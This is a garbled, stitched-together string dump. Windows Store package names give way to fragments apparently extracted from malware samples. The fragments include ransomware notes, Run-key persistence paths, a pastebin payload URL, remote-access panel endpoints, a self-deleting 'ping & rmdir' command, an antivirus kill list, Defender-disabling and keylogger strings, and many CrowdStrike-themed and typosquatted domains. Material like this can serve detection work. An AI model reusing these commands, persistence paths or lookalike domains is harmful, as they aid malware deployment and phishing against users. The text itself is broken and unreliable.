"56347gskinner-xboxapps.flutterfolio_01zv452zq6r9g", "58764maverickdevelopment.soulcontractcalculator_c9pky8h6w3fqe", "30998prezapps.421011b11e5f8_7azwdncnes1ve", "31185aleksandrnoskov.railuvospro_g758xd2nap1fy", "inaseinformtica.suministroshortcolas_b38ag9bp9djge", "54403datavillage.trackertenforcameraequipment_j24wc7ks0qwa0", "11730soapp.wilcomembroideryguidebook_a8gag9zqffad6", "49052huadastudio.heicdiverseconverter_1cm4j9e7w1rm0", "createsolutionsukltd.mothistory_ts88j8aaqgvna", "51698ramic.b-home_dzcrt1m6smpdg", "44793.46291f957068f_q18jxjmswdrpg", "learnwithease.silhouettecurioguide_564vzmdrrrk7c", "48494christianregli.alexie_vx3q36yknjvra", "seytoo.seytoo_tqwcdkd3ttyey", "35119carloslubin.vestis_y7vpmkszh8ndg", "17293andrewlewis.robotlenormand_cyp543v9a9vme", "32558drea9596.churchbook_p6vc2n0enc7ac", "31625astrotools.online.yourastrologydictionary_ksq6erfn1f5kt", "peacefulsunshine.webcamsetuptool_bctsdcfpr7z7j", "5824share35.lifestudy_5y9d45kgmbnt2", "learnwithease.silhouettecraftingguide_564vzmdrrrk7c", "31066princesslove.31157d0fb5027_fzsvbkjjhjzvt", "57082m1dfcaotony.atomicsetforapi10dlcprod_jqyd9b8ehpvfj", "5824share35.6060718d5d74b_5y9d45kgmbnt2", "13585utechnologies.18856b34bec42_8ynn1n6ghr11r", "60826aaronsalisbury.philiacontacts_gc14fakmyh3dc", "9650yongwenhu.dailymoodnotes_d58spakm5k7dr", "63330oleggalkin.fourpillarsofwisdom_e8x5hpkg5zpvt", "9650yongwenhu.memonotes-memosnotespassword-locke0 58020alliancemetaversalst.overwhelm_j78hpz8e66gfw fiveacespublishingltd.newstargpdemo_rgbv1vpa32bcr tribunecontentagency.thedailycrossword_6wazfkncwrd60 azurinteractivegameslimit.29146b0e7dd7a_ntbqk23pwpfh4 37003hamzamuhammadabdulla.eideticmemory_ek7j17jay0bkt 65442shravanvavadiya.colorpaintsplash_yt8f247cqpeh6 25151gamingpublisher.superbomberman_ecy4bxxj3mztj 38021xenederteam.overdriveblasterwindows_9yhdnkqfap1ba wonderfulgames.gamesforgirlsbigcollection_har1dhkx0tc78 namcobandaigamesinc.littlenightmares2_gdy2aq6ez762w 5pmserioustecnologialtda.memriadomensalo_mnpyfjb8m8fvw xdevs.modernassaulttankswartankgames_7yw2516a0mwqy e5ceba72.thinkanalogypuzzleslevel3free_sek193xj0qzgc r.g.b.srl.maskedforceszombiesurvival_wnpmt6k7tc03g rebirthgamesstudiollc.geometryvectorwars_2g067v30212vj 13204escueladeingenierade.conquestunit_ae7dn83cqjtxj codethislabs.r.l.sudokuinfinitemaster_b5gk6nsyztaq6 trendyentertainmentllc.dungeondefendersii_svb6hk9cxrz62 18658zeemish.learnabc-alphabetsforkids_krx3ymyjn7t6t 16361mb.netsoftwaresoluti.tetrismaniac_rc2rxnjjx13br epixrgames.paperflight-futurebattles_1y9sn3rdg00yp codethislabs.r.l.pinballspaceadventure_b5gk6nsyztaq6 artifexmundi.unchartedtidesportroyalfull_xmkq9zz36w32m kevintomsltd.kevintomsfootballstarmanager_fpmphnz65486w 505gamess.p.a.edengatetheedgeoflife_tefn33qh9azfc 28627premiumfreeepisodega.polyspherepoly_haf3134me8dd2 27626jasonhornor.whitehatholdempoker_zy0p7s00zpqg8 isarinteractivegmbhco.kg.schafkopfhd_s5bw4xpw3309e zoolapgame 49488nkfpapas.holybibletranslationkjv_f3gqpgbjr6jkm 11604thecityoftheapps.lenguaje10aos_zqpd68s4emmvm mazalearnprivatelimited.physicsstudio_26qhwt9wpgdp6 14110akhenatontechnology.mr.sayedalfarsy_qfmfcpktms3rm 11604thecityoftheapps.testoposradioterapia_zqpd68s4emmvm 63806joystephen.prism-deviationoflight_9f5feeavc0k82 11604thecityoftheapps.testoposmatrona_zqpd68s4emmvm 46203dntsolutionsltd.babysimplypiano_s8xgk8cnx3ja8 22411ashvindalwadi.englishlistenandwrite_d1jkw8np05v52 55283gwcindustries.chemistrytoolsuwp_zpbdvtma3qh7p 20768devcambodia.chounnatkhmerdictionary_tqcwcp8zkfncc vandanasoftwaresandservic.careerbuddy_kyfawcg90evb6 3698luciomartinclavijo.resistordecoder_1rxmy7xgwt14a 4722newsystem.comptiaaexamsimulator_p4g26chjyrvyw 10668dict.land.bulgarianfrenchdictionary_pht0r4cb04wa0 65097eladtronics.canyouspelladventure_shyv0dre411pc 10668dict.land.danishturkishdictionary_pht0r4cb04wa0 5740devlerenleren.conversationcards_fq6n1sh14x3y2 moreitltd.edwardworlledgeormistonacademy_6krvz7kthgrx0 15861geoedutechservices.learnfrommaps_exs244k857wmw 10668dict.land.frenchkoreandictionary_pht0r4cb04wa0 58761voiduniversalobserve.40903e6da9b74_4nmgdjsf2d5h4 fondazionegolinellig-labv.golinellilive_qr2xaj8xmap02 10668dict.land.italianturkishdictionary_pht0r4cb04wa0 internetdesignzone.mathgamesforkids_kycmcje6wr3t8 64265sergeymalugin.dividingfractions_hyc249pp8c2ze 8094crazydeveloperzinc.thehindidictionary_r662rcdm3gkq0 5456adeebtechnologylab.adeebtechnologylab_377ebmzqzwchr 22411ashvi "softventuresa.mytennisspeedradar_jzqazgwq3gkse", "4506menny.ligamx_9kabewmhphs0j", "24512xuesong.31212f7388e53_ybkc3eqa4e2ka", "univisioninteractivemedia.univisiondeportes_z46mdnf34gvqg", "50560andreasaeschlimann.rotblau_8n0jn671rrp8g", "54151vjirovsky.mistrovstvsvtavhokeji_fm5te3xsz8v00", "11026billhill.unibesport_98m4j9bt7360m", "4985francescomartemucci.fcinter1908_r6b313298jw lazio1900_r6b313298j L "48583h rsinn.com./ fckaiser _72nv6/ 6dj4zy", dona ola_2wj1 ner.coL motorcyc go-advertising.com ughi m\av nderb best %nam ivel card teen gitid carad .txt eren s\leg ple\ ekra in\re .ini worn a.vb ile1 olut re\p ngsn 5FXz kspl imens eror aars \non elfi ls\ha ro\p ener ent oise h\to es\m trkni rdli ike2 town\ p.dat pern lere er\un cles ages d\lu teri lian ethy mvir asser aalsr \gen ddom bles edes kafte agosc conf kpy\ mose erod try\ n\mc fb56. lient cryp nami clean j20.i p.png lari %61n tiges orial u.bat nivs vlsti summe hild ight emia (5`t ) |^ ]{24} pdiag \forr nddo ers\ ling herle erlan net. ser\ ider chsel ner\ tling ge\p kere let\ sp.e %appdata%\ .exe \microsoft\windows\currentversion\policies\explorer\run \microsoft\windows nt\currentversion\windows\\load pastebin.com/download.php?i=sECyLgcBUsers\%userprofile%\Music\iexplore.exe \Configuration\S \Con all files encrypted mother fucker!every directory every file .encrypted $c79af1c9-239c-47d4-b33f-552ec0db3c65 Runner_A.My CleanSystem_17582 powershell forfiles glrm .exe .msddas98l.com .msdol.com .msft-encryptfile.com .msft-protectedfile.com .msg-fax.com .msgdeskserverportal.com .msggheckview.com .msirockdalle.com .msl-crop.com .msmm4.com .msmviewing.com .msnqwerty.com .msnviewing.com .msofficesharedfiles.com .msoftcloudssdoc.com .msoftstorage.com .msofttcloudportals.com .msofttportalscloud.com .msonlineecryption.com .msonlineencrypt.com .msonlineencryption.com .msonlineencryptmail.com .msonlineencryptmessage.com .msonlinemailencryption.com .msonlinemailencryptions.com .msoonedriveruploadsdatahub.com .mspagesup.com .msqrscan.com .msqrscanner.com .mssa-ps.com .msscviewin st-fol on.c .mssob.com tal- ume. srwe ffff ror_ d\do -az! oujs ke_d. ypdk cume anky ll h ydwg jjj\ wpl7 t\sh ami\ .wav ckto .exe ker. ti3v tp.t dont s.tx lan. ide. .txt dvmr un_d uihi nkin daj. ys.t jd94 ll.b wo_j hnfy loc !tj0 oph2 r.bi gw8. oter pp.. roj. da.e ldr. _000 f1vi edri iery at\i s\_a ga.t icate ing.r xdxq %dmb, psjm nham t'n hest nt32 setu efir amen reduz ane.i elses anih info +8Vt ControlVehicular abb97cfb-972e-494e-b7e5-bab7c6e8cafc InternalTaskStopped CheckForSyncLockOnValueType FILEID C:\Temp\ Form1_FormClosing ToCharArrayRankOne messageController Content-Type: application/x-www-form-urlencodedcmd.exe /C ping 3.4.2.1 -n 4 & rmdir /Q /S " phpinfo.php\winmsism BlackNET spamemail clientid= /c ping 1.1.1.1 -n remoteshell.php getcommand.php?id= receive.php?command= /upload.php?id= /check_panel.php connection.php anti debugging disablewd.ddos bandwidthflood posthttp remotedesktop schtask stealth_mode encryption phenol@No-reply.comYour Files have been encrypted !=READMY=!.txtYOUR NETWORK HAS BEEN COMPROMISED Windows.ApplicationModel.Core.CoreApplication Windows.Foundation.Collectio C:\WINDOWS\System32\bcryptPrimitives.dll C:\WINDOWS\SYSTE kernel.appcore.dll C:\Windows\System32\biwinrt.dll C:\Windows\System32\biwinrt.dll e\Index\PackageFullName WinStore.App.dll e\Index\PackageFullName e\Index\PackageFullName e\Index\PackageFullName tore.A Vers SchemaVersion \Device\KsecD Redi \IPC 0 !3BSp RegValueType .dll REG_DWORD RegValueType REG_DWORD REG_DWORD ValueName ValueName ValueName ValueName RegValueType ValueName RegValueType REG_DWORD RegValueType REG_DWORD REG_DWORD ValueName ValueName RegValueType RegValueType RegValueType REG_DWORD REG_DWORD ValueName DATA RegValueType RegValueType REG_DWORD REG_DWORD RegValueType RegValueType REG_DWORD ValueName REG_DWORD RegValueType ValueName REG_DWORD ValueName riodMS ValueName Data ValueName REG_DWORD ValueName REG_DWORD REG_DWORD ValueName FLAGS ValueName RegValueType ValueName RegValueType RegValueType REG_DWORD RegValueType REG_DWORD RegValueType ValueName REG_DWORD RegValueType RegValueType ValueName ValueName ache ValueName RegValueType RegValueType REG_DWORD REG_DWORD backgroundTaskHost.exe System.Collections.Immutable System.Collections.NonGeneric System.Collections.Specialized 80B886248ECB2431308B1F7215C4EF5876AD764118FEA3730B71325C43F7374AF11914EDFC5119AEFA6D0CF274BF0D69339406DA10D4D38AECEC9D72E991AE8016D47EBFF678B7F023D8C8CFA8F7982FBF099FD3A683056A1D0C00BDFFB31E9F4A1A4853623D6431DEA186B729A024B84747BA6151C3260BB0F5D3DC445D10EE5B65E856FE652AE43F7B508479C74773DC7FA48E1C82D8499ABB68EFEE5165CB87BB72C2C454F4BB436133F550B9948FDDADB97A1BB097E4093EDDEA699A0364A5FD106BE20242E9CD9CD5BA5EE1F520DF9C7FE1C87A66B34481510EDAD88D60D6FF61A18FD369BA95C7928D6CD5A8C1B66B5A4AFB85CC6A61C5EF7ED8CAE460F73FD5FE8693E69DBB2264B7B0AD51EA9F3A888B9374CC4E7CCEC8C45B0EA13FD133E6063F9F3DECD867D4581326F856B8CEF9D29E67130EC8D6B315E174681E9FE4065E504420DA9973146C22B88903149B53663E51E52C30EAA42A763C206F4CC070D7DA065A2EDFDF68AD88D9655183ED2585D8AE728B3B03EC186D57F712EAAB5B114D12C2391CB09951CB3C05507E6B6D12FDB4C6A2A98F16A4DED9E27DD7ECF00D3B2B5B2953F97343570F5045B4EFA62CFD230935B512A2CBE4B75D3AA1471DD6A7E809BD80BA1BEE6EFA02D7B01551E40295AF604813BFB1CFA8C5581EEE91DD23DDCF207F2CCD6E29549EE5190BE042EC4DF49A7F3558F4E0826958C93267B2835E540544979A506A7B9D7BE9A5D20929234ED084E3B5F5D1D87DAF71522AE2A2B40469AE39E662D42FB1275E9ED45545678CE1844ED3F557BA567E3C767A6C91CAB098562CBDEA8F0CFE507C33D502586D9F6E29339253A9AD8ED568894647F886B25ED05E4832D8E92B7BBF29B4F8A6E435B959F8A6B5F7D0FFC39EB6F7585A6FF3C432:2F2C08DB22" F8A6B5F 0:CA185DED361E4F43AAE4280F2B2198855130B863B7F1876601910C9ACFE975B95D98D161C8A46E37DE6D6D6E0576EC46FB2F332551F8152CE608DF9A265D6B7E69281A24E8F14987548DE234027BBACBF60FE3CDAB64840423EE36C9121784CE92BE89555C233FA6EED618B86B428DF0EBB1ECFB3AF64684B687948BE9AE2DB2AA388195EFFBCE93A9FCDAFF1784559D5CCA6A48A250B5C260B4FE6AACF7D70AE2668033A83DBE8EBF8EB0FF5B8C7615645F444F583770BD44EF852A6EFAD6198F93E356BA983E2977ACC079F53473F675A5C4065A3B044997DE786439162D9F0978BE45C37BD2BE82A1B373C9245A9F4FE32BE3A5247D94CB2F2B5E3035DF6D63071F264D9EDD1C6A92C2C674DBB1CA2F6CC9EA312C6DBB19CD39274F46465CB2E8E47A60EA44F3D37109E88EF1FA8AB0778AF85BD7EE584EAD62153F441D42177A78AF71610CF2FD85476E51149C4A497A794A0CDEB76AD2217856A225ADA5FD106BE20242E9CD9CD5BA5EE1F520DF9C7FE1C87A66B34481510EDAD88D60D6FF61A18FD369BA95C7928D6CD5A8C1B66B5A4AFB85CC6A61C5EF7ED8CAE460F73FD5FE8693E69DBB2264B7B0AD51EA9F3A888B9374CC4E7CCEC8C45B0EA13FD133E6063F9F3DECD867D4581326F856B8CEF9D29E67130EC8D6B315E174681E9FC7FFEB174420DA9928A8298F17DBC12D6C35DBABD7CA5932469A563173146C22B88903149B53663E51E52C30EAA42A763C206F4CF954AB41065A2EDFDF68AD88D9655183ED2585D8AE728B3B03EC186D57F712EAAB5B114D12C2391CB09951CB3C05507E6B6D12FDB4C6A2A98F16A4DED9E27DD7ECF00D3B2B5B2953F9734357EFA62CFD230935B512A2CBE4B75D3AA1471DD6A7E809BD80BA1BEE6EFA02D7B01551E40295AF604813BFB1CFA8C5581EEE91DD23DDCF207F2CCD6E29549EE51920A729924DF49A7F690680FD826958C93267B2835E540544979A506A7B9D7BE9A5D20929234ED084E3B5F5D1D87DAF71522AE2A2B40469AE39E662D42FB1275E9ED45545678CE1844ED3F557BA567E3C767A6C91CAB098562CBDEA8F0D80C8DA6146375233D502586D9F6E29339253A9AD8ED568894647F85E4832D8E92B7BBF94466A4CCD6D01C029B4F8A6E435B959F8A6B5F7D0FFC39E4B8692DF6FF3C432:2F2C0866F3" tings\\ 0:CA185DED361E4F43AAE4280F2B2198855130B863B7F1876601910C9ACFE975B95D98D161C8A46E37DE6D6D6E0576EC46FB2F332551F8152CE608DF9A265D6B7E69281A24E8F14987548DE234027BBACBF60FE3CDAB64840423EE36C9121784CE92BE89555C233FA6EED618B86B428DF0EBB1ECFB3AF64684B687948BE9AE2DB2AA388195EFFBCE93A9FCDAFF1784559D5CCA6A48A250B5C260B4FE6AACF7D70AE2668033A83DBE8EBF8EB0FF5B8C7615645F444F583770BD44EF852A6EFAD6198F93E356BA983E2977ACC079F53473F675A5C4065A3B044997DE786439162D9F0978BE45C37BD2BE82A1B373C9245A9F4FE32BE3A5247D94CB2F2B5E3035DF6D63071F264D9EDD1C6A92C2C674DBB1CA2F6CC9EA312C6DBB19CD39274F46465CB2E8E47A60EA44F3D37109E88EF1FA8AB0778AF85BD7EE584EAD62153F441D42177A78AF71610CF2FD85476E51149C4A497A794A0CDEB76AD2217856A225AD87251BCCF3B1277DC3DD5766A33BF31C8CD7BFD7791E7C70944CEFDDB0D9C9BB2449DCF96681602630C4736D63D9FBABDCB5491DD42A7F2F2F0696A6A5207CB9F01DAE2B6F9F925ECFB5A45C07265B2638C1774149DDEC480CE1511A37EA99543E8E69CF5F0B86B7AF78A03ACB7355BE186E5EFD4E59F4BBBF8A550BD000DD4094159712058676CADDE6268493818C14717E9483BF1122098548BCDC87447B63C630F13A90426323DFDF68AD88D9655183ED2585D8AE728B3B03EC186D57F712EAAB5B114D12C2391CB09951CB3C05507E6B6D12FDB4C6A2A98F16A4DED9E27DD7ECF00D3B2B5B2953F97343570F5045B4EFA62CFD230935B512A2CBE4B75D3AA1471DD6A7E809BD80BA1BEE6EFA02D7B01551E40295AF604813BFB1CFA8C5581EEE91DD23DDCF207F2CCD6E29549EE5190BE042EC4DF49A7F3558F4E0826958C93267B2835E540544979A506A7B9D7BE9A5D20929234ED084E3B5F5D1D87DAF71522AE2A2B40469AE39E662D42FB1275E9ED45545678CE1844ED3F557BA567E3C767A6C91CAB098562CBDEA8F0CFE507C33D502586D9F6E29339253A9AD8ED568894647F886B25ED05E4832D8E92B7BBF29B4F8A6E435B959F8A6B5F7D0FFC39EB6F7585A6FF3C432:2F2C08DB22" gs\\One 0:CA185DED361E4F43AAE4280F2B2198855130B863B7F1876601910C9ACFE975B95D98D161C8A46E37DE6D6D6E0576EC46FB2F332551F8152CE608DF9A265D6B7E69281A24E8F14987548DE234027BBACBF60FE3CDAB64840423EE36C9121784CE92BE89555C233FA6EED618B86B428DF0EBB1ECFB3AF64684B687948BE9AE2DB2AA388195EFFBCE93A9FCDAFF1784559D5CCA6A48A250B5C260B4FE6AACF7D70AE2668033A83DBE8EBF8EB0FF5B8C7615645F444F583770BD44EF852A6EFAD6198F93E356BA983E2977ACC079F53473F675A5C4065A3B044997DE786439162D9F0978BE45C37BD2BE82A1B373C9245A9F4FE32BE3A5247D94CB2F2B5E3035DF6D63071F264D9EDD1C6A92C2C674DBB1CA2F6CC9EA312C6DBB19CD39274F46465CB2E8E47A60EA44F3428CD0448EF1FA8AB0778AF85BD7EE584EAD62153F441D42177A78AF71610CF2FD85476E51149C4A497A794A0CDEB76AD2217856A225AD87251BCCF3B1277DC3DD5766A33BF31C8CD7BFD7791E7C70944CEFDDB0D9C9BB2449DCF96681602630C4736D63D9FBABDCB5491DD42A7F2F2F0696A6A5207CB9F01DAE2B6F9F925ECFB5A45C07265B2638C1774149DDEC480CE1511A37EA99543E8E69CF5F0B86B7AF78A03ACB7355BE186E5EFD4E59F4BBBF8A550BD000DD4094159712058676CADDE6268493818C14717E9483BF1122098548BCDC87447B63C630F13A9042632380B886248ECB2431308B1F7215C4EF5876AD764118FEA3730B71325C43F7374AF11914EDFC5119AEFA6D0CF274BF0D69339406DA10D4D38AECEC9D72E991AE8016D47EBFF678B7F023D8C8CFA8F7982FBF099FD3A683056A1D0C00BDFFB31E9F4A1A4853623D6431DEA186B729A024B84747BA6151C3260BB0F5D3DC445D10EE5B65E856FE652AE43F7B508479C74773DC7FA48E1C82D8499ABB68EFEE5165CB87BB72C2C454F4BB436133F550B9948FDDADB97A1BB097E4093EDDEA699A0364ags\\OneSettings\\NonArp"},"AeinvInventoryApplicationInstalledEventFrequency":{"ValueName":"AeinvInventoryApplicationInstalledEventFrequency","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\ApplicationInstalled"},"MareBackupDefaultFar":{"ValueName":"MareBackupDefaultFar","RegValueType":"REG_QWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\MareBackup"},"MareBackupFileCount":{"ValueName":"MareBackupFileCount","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\MareBackup"},"MareBackupFreshJson":{"ValueName":"MareBackupFreshJson","RegValueType":"REG_QWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\MareBackup"},"MareBackupKeepHiddenArps":{"ValueName":"MareBackupKeepHiddenArps","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\MareBackup"},"InvSvcTracerTimeSliceSec":{"ValueName":"InvSvcTracerTimeSliceSec","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InvSvc"},"InvSvcTracerOobeDelaySec":{"ValueName":"InvSvcTracerOobeDelaySec","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InvSvc"},"InvSvcTracerBootDelaySec":{"ValueName":"InvSvcTracerBootDelaySec","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InvSvc"},"InvSvcPnPBootPauseMs":{"ValueName":"InvSvcPnPBootPauseMs","RegValueType":"REG_DWORD","FullPath":"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\OneSettings\\InvSvc"},"InvSvcPnPIgnoreDupesMs":{"ValueName":"InvSvcPnPIgnoreDupesMs","RegVal pe":"REG_DWORD", oft\\Windows NT\\Cur \\InvSL "},"InvSvcPnPDeviceBlacklist":{" eName":"In/ vcPnPDev hWsJLqmB9M1aZsdikyPF417HVudJEuc5g1 PNuSgGWPVP MqxBTWWMBf CJHsSOmVAg VgVKPmTgWi MQDfoZaFQw cHdCvNcpom LypsvMDoqN LxJbAYhdYo SbHbSTvJPA invokemember gettype getsetmethod getproperties jjjj 360safe.exe^360tray.exe^updaterui.exe^avp.exe^mcshield.exe^vstskmgr.exe^naprdmgr.exe^tbmon.exe^scan32.exe^ccenter.exe^ravtaskravtask.exe^rav.exe^ravmon.exe^ravmond.exe^ravstub.exe^kvxp.kxp^kvmonxp.kxp^kvcenter.kxp^kvsrvxp.exe^kregex.exe^kavsvc.exe^uihuihost.exe^trojdie.exe^frogagent.exe^kav.exe^kav32.exe^kavstart.exe^katmain.exe^kpfwsvc.exe^kpfw32 ntDataba usionp antivirus%202009 run://xyz 6da54105-146e-4eea-9b09-b1ca3a54b7267ac311a7-47af-45aa-95a4-3e96f12ce9cedownloading antivirus executable...downloading uninstaller...downloading url blacklist...downloading firewall extension... %s\%s.lnk chrome.exe iexplore.exe codecpack.exe puter are damaged. please, re res://resdll.dllAttacks porn sites dmiddle risk high risk SecStatus_full functional versionthe tools marked greenPlease, make full checking /readdatagateway.php computer are damaged about:buy spam001.exe ++S+ lean StackD eset STACKD ESET TIMESY UGIN TIMESY UGIN TimeSy ugin Servic lean STACKD ESET TimeSy ugin SERVIC LEAN STACKD ESET TimeSy ugin TimeSy ugin TimeSy ugin RESETR RPLU Canvas in_I RESETR RPLU ResetR rPlu UsoCle Plug USOCLE PLUG CANVAS IN_M CANVAS IN_I Canvas in_D Canvas in_S ResetR rPlu re\Microsoft\Windows\CurrentVersion\Appx CANVAS IN_S USOCLE PLUG UsoCle Plug UsoCle Plug UsoCle Plug CANVAS IN_R Canvas in_M CANVAS IN_I USOCLE PLUG USOCLE PLUG RESETR RPLU CANVAS IN_M UsoCle Plug USOCLE PLUG UsoCle Plug USOCLE PLUG Canvas in_I this is a vendor's account for the help and support service this is a machine account for iis service abcudefzyxghijtklmnopqrsvwabcdefgh34ijkzyxlmnorstuvw012567pq89+/ -serverp commandparser::parsecommand sniffer\commandparser.cpp commandparser::_parseipparam hideloadder.cpp invalid pe file, the program must be %d bit hideloadder::_pealloc hideloadder::_pebui rxtelegram.bot2.dll setwebhook set_payloadget_payload rxtelegram.bot.interface.payments HACK: settings/Credits get_BANK get_JAIL_ACTION settings/jailaction MoneyTransfered QteUtS9Ey..HH3 XyH.HJKget_IsCompleted AwakeException PADPADP s0.eo hunter dwagent. DWAGRemover \native\dwag DWSNET O \native\service.properties -S -m monitor -S -m configure main.disableDefenderAggressively main.launchTarget main.fallbackExecution \Nicstech\SafePC\Uninst\ pwvsu Yodellers\armekorpset\Forbening \godlessly\Topfigur.ini \vejledningen\Rappage.min ssonsvingningers dybsindiges afsvides saily indskrer unioner yachtmen radialis xsectile\bagagevognen\Etoffe\Outstolen\unabashedly.Luf65 Software\Decile\genforenes\retrospect Brodersnners133.jpg anngrethes.sle dejtrugenes.jpg \unforegone.sno legetjsforretningerne.jpg ryttersker unprophetical fisketrappe workstations sruti manifesterede spapegjen emnedefinitioner stooking \pitiedly\Phototypist\amphibrachic messagecontroller.form1.resources messagecontroller.zodiac.resources messagecontroller.resources.resources QueryContainer Could not launch the process because no user is logged into the console. Try launching it from the system account d2lubG9naW4k winlogin.exe ma_lockdown_service.dll MA lockdown Service McAfee Agent datastorages.formmain.resources datastorages.tdialogform.resources \harskt\Tilkaldevagten\vendetangenternes Blodserummernes74.jpg Eksekvering.jpg Metope91.txt Peaselike105.gst aandevsner.txt afhnger.txt denaturereres.udr oejentraethed.ela transformative.ini \Embryologic66\dannemanden.bil \Tayassu\kvstelses.ini ClientID : {0}, Address : {1}, ConnectionTime : {2}, ClosedTime : {3}You must stop the server and close the connections.server.pfx In Safe Mode. Waiting 30 seconds for system initialization...Scheduling deletion on rebootAdded to RunOnce for automatic execution in Safe Mode ProxyServiceStopSnifferEventfiddler-root.cerget-rid-of-certificates543A32BC-F781-4681-B4DA-DB596C6F8BD9 whmzrbqxqkdddeqseuqmfucxfwwzfeuzdbisgbkzfemwexddgvw= rfl+qe1trebfwh5it1jvqe1nreu= de9it1jvqe1naexru0rsukhotw== zuhsuu1awhdeu1jitk8= zu5vtlvgukpgrkbitw== qe1nflrttx5mqfvcsq== uldcd0rtukhotw== d0rtukhotw== cm5ndxzgc2r9behcu05stkdvfwhpvurtt0rvawrzuu1ou0rt 2B0F0720D0F3FA805A208EA7B1BC612BD40 Event_Trace.Properties.Resources.resources $da7a9888-fa04-466b-90d0-cf2a7cecc943 get_FullyQualifiedName simulationV2.Properties.Resources.resources simulationV2.ResourceTools.resources \Optrevle23\sciolisms.lnk penible sphingometer rase premodeling dagcentrer remediernes isoleringsmateriale tilsidesttelsers python.runtimepython_utilsquant_library_excel extended module: simpukka chilli dark misery mtc@sk.dna.fi mystic cloud labChrisUsick.frmFrame.resources ATT_Loader_EXESetExpValW azjcjfpyusnafjiytloifhlwqlhzwgqnrnofjon yhxgkjfdmptfiukihoywmgfehwa ttiger keylogger client screenshottriggerword http://tools.feron.it/php/ip.php ttiger keylogger client.pdb ftp log.txt Relay.GREEN.resources Relay.Properties.Resources.resources $509e9982-0926-4388-98b0-17da2588471c oplringstidens tabskontiene hakkeordenen titalslogaritmes reductional.exe directoryet D449E9DF-4FC5-42FA-879A-35FD12C1CAE9 HoweverMatMint 43838136-346c-415c-95d1-7e4abd01ea29 CookBook E.exe /c ping 0 -nadd allowedprogram VeriTabani.Form1.resources VeriTabani.Properties.Resources.resources get_DeclaringType successfully patched you can only apply patch when licence screen appears paste authentification here x-force teammicroxm by mr gamer mr_gamer@hotmail.com make tesla browser your default browser maak van tesla browser uw standaardbrowser teslabrowser teslabrowser.exe tesla browser html document mRemoteNG.pdb mRemoteNG.dll mRemoteNG.App mRemoteNG.ConfigPuTTY log4net mRemoteNG.resources.dll mRemoteNG.log Multi-protocol remote connections manager mRemoteNG Dev Team Enigma Protector dfrter ia.png 506.64 low Us _nextT ub_2.n KJrQLp http://www.md5.com.cn ListBox_Command \Set.ini OpenFileDialog1 ads.exesumohit.com SharpAvi.Codecs.Mp3LameAudioEncoder.LameFacadeImpl.cs AddVideoStream algesiometer\slfangsten dtskab .crowdstrikingit.com .crowdstrikkernelcare.com .deltasubmissionprocessing.com .devflowservice.com .dinatour.com .dns-sudatel.com .edge-bing.com .ekidshop.com .essencevibehealth.com .eztrackthinker.com .f1tfv.com .f1tfw.com .f1tfx.com .f1tfy.com .f1tfz.com .fix-crowdstrike.com .fixcrowdstrike.com .fixmycrowdstrike.com .foxdailyupdates.com .fuckcrowdstrike.com .fuckingcrowdstrike.com .getsomethingquick.com .getvitazen.com .healthfith.com .healthhc.com .healthhelph.com .healthhf.com .healthhn.com .healthhv.com .healthhz.com .healthierlifestoday.com .healthlfts.com .healthlic.com .healthlig.com .healthlih.com .healthlii.com .healthlij.com .healthlik.com .healthyhaph.com .healthyhappyhelper.com .healthyharbortrx.com .bfvitd.com .bfvite.com .botanysage.com .buycelsiumketo.com .buyvitazen.com .crowdstandards.com .crowdstrade.com .crowdstricked.com .crowdstrike-bluescreen.com .crowdstrike-fix.com .crowdstrike-out.com .crowdstrikebit.com .crowdstrikeclaims.com .crowdstrikeclassaction.com .crowdstrikeconnects.com .crowdstrikecure.com .crowdstrikefixer.com .crowdstrikeglitch.com .crowdstrikehelp.com .crowdstrikekernelcar.com .crowdstrikelawsuit.com .crowdstrikemedaddy.com .crowdstrikeold.com .crowdstrikeoops.com .crowdstrikeoopsies.com .crowdstrikeout.com .crowdstrikepatch.com .crowdstrikeplatform.com .crowdstrikerecovery.com .crowdstrikesettlement.com .crowdstrikesucks.com .crowdstrikesuporte.com .crowdstrikewatch.com .crowdstrikewhisper.com .crowdstrikewindowsoutage.com .crowdstrikezeroday.com rowdstrikedataprotection.com.au .crowdstrikedlp.com.au .fixcrowdstrike.com.au .crowdstrikefix.blog .supportcrowdstrike.blog .crowdstrike.blue .crowdstrike.bot .crowdstrike.cam .crowdstrikerecovery.cn .crowdstate.co .deltasubmissionprocessing.co .peakepc.co .advaanced-ip-scanner.com .advanceb-ip-scanner.com .advanceb-lp-scanner.com .advanced-ip-saaner.com .advanced-ip-scaaner.com .advanced-ip-scaer.com .advanced-ip-scanel.com .advanced-ip-scanerr.com .advanced-ip-scanir.com .advanced-ip-scanr.com .advanced-ip-scanz.com .advanced-lp-saanel.com .advanced-lp-saaner.com .advanced-lp-scanel.com .advanced-lp-scannel.com .advansed-ip-scanner.com .advvanced-ip-scanner.com .alvinlookout.com .angryipscaner.com .b0bdm2trk.com .benchweight.com .bestsercet.com .bfvita.com .bfvitb.com .bfvitc.com \Eibriths87\gibraltar.ini \Squamipennes13.lnk \trittet\paleographical.zip Bortvaskedes144.ini Smaaskovsforeningernes.lil dedendum.ste tvillingsstrenes.txt \resubmerging\env.htm \jolandas\ikendendes.jpg \penologist\protradition.ini patterne farish altesse forvridningernes beatuti slyngrosers ahrendts eastman hospitalities.cof #\dissipator\Formalizable133 %grundtonerne%\mestermageren\Basiotribe Software\Filippinernes\ostet damprensningers %heniquens%\retouchable setup_jiguang_tgGuangYing.execk_dskquickck_webgame get_sss ExcludeRegistry get_Zfvdpxph 